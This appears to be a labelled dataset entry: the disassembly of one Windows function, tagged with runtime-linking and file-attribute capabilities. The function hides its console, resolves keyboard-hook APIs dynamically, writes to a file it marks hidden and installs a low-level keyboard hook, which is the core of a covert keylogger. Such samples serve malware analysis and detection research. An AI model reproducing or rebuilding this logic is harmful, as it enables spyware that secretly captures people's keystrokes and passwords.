Function at 0x140003170
Capabilities:
Link many functions at runtime
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0xc0]
sub rsp, 0x1c0
mov rax, qword [0x140033080]
xor rax, rsp
mov qword [rbp + 0xb0], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x140003446
lea rdx, str.SetWindowsHookExA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140035930], rax
lea rdx, str.CallNextHookEx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140035900], rax
lea rdx, str.UnhookWindowsHookEx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140035908], rax
lea rdx, str.GetAsyncKeyState
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140035920], rax
lea rdx, str.GetKeyboardState
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140035918], rax
lea rdx, str.GetKeyState
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140035928], rax
cmp qword [0x140035930], 0
je 0x140003446
cmp qword [0x140035900], 0
je 0x140003446
cmp qword [0x140035908], 0
je 0x140003446
cmp qword [0x140035920], 0
je 0x140003446
cmp qword [0x140035918], 0
je 0x140003446
test rax, rax
je 0x140003446
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rsp + 0x70]
call fcn.140022210
lea rbx, [0x140035938]
mov rdx, rbx
cmp qword [0x140035950], 0xf
cmova rdx, qword [0x140035938]
lea rcx, [rsp + 0x70]
call fcn.140004ac0
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], rdi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rsp + 0x78]
call fcn.1400049c0
mov r8d, 2
test rax, rax
jne 0x140003340
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rbp + rcx - 0x48], 0
cmovne eax, r8d
or eax, dword [rbp + rcx - 0x80]
and eax, 0x17
mov dword [rbp + rcx - 0x80], eax
mov edx, dword [rbp + rcx - 0x7c]
and edx, eax
jne 0x14000346f
cmp qword [0x140035950], 0xf
cmova rbx, qword [0x140035938]
mov edx, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
nop
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], rdi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rsp + 0x78]
call fcn.140004180
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], rax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x6c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x18], rax
lea rcx, [rbp + 0x18]
call fcn.140005fa4
nop
call fcn.140001ee0
mov rax, qword [0x140035930]
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140003060]
mov ecx, 0xd
call rax
mov qword [0x140035910], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x80]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x140003435
lea rcx, [rbp + 0x80]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x80]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x80]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x140003402
mov rcx, qword [0x140035910]
call qword [0x140035908]
xor eax, eax
jmp 0x14000344b
mov eax, 1
mov rcx, qword [rbp + 0xb0]
xor rcx, rsp
call fcn.140006830
lea r11, [rsp + 0x1c0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
test dl, 4
je 0x14000347d
lea rbx, str.ios_base::badbit_set
jmp 0x140003492
test r8b, dl
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.140001320
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.140001c80
lea rdx, [0x1400322b8]
lea rcx, [rsp + 0x40]
call fcn.140008710
int3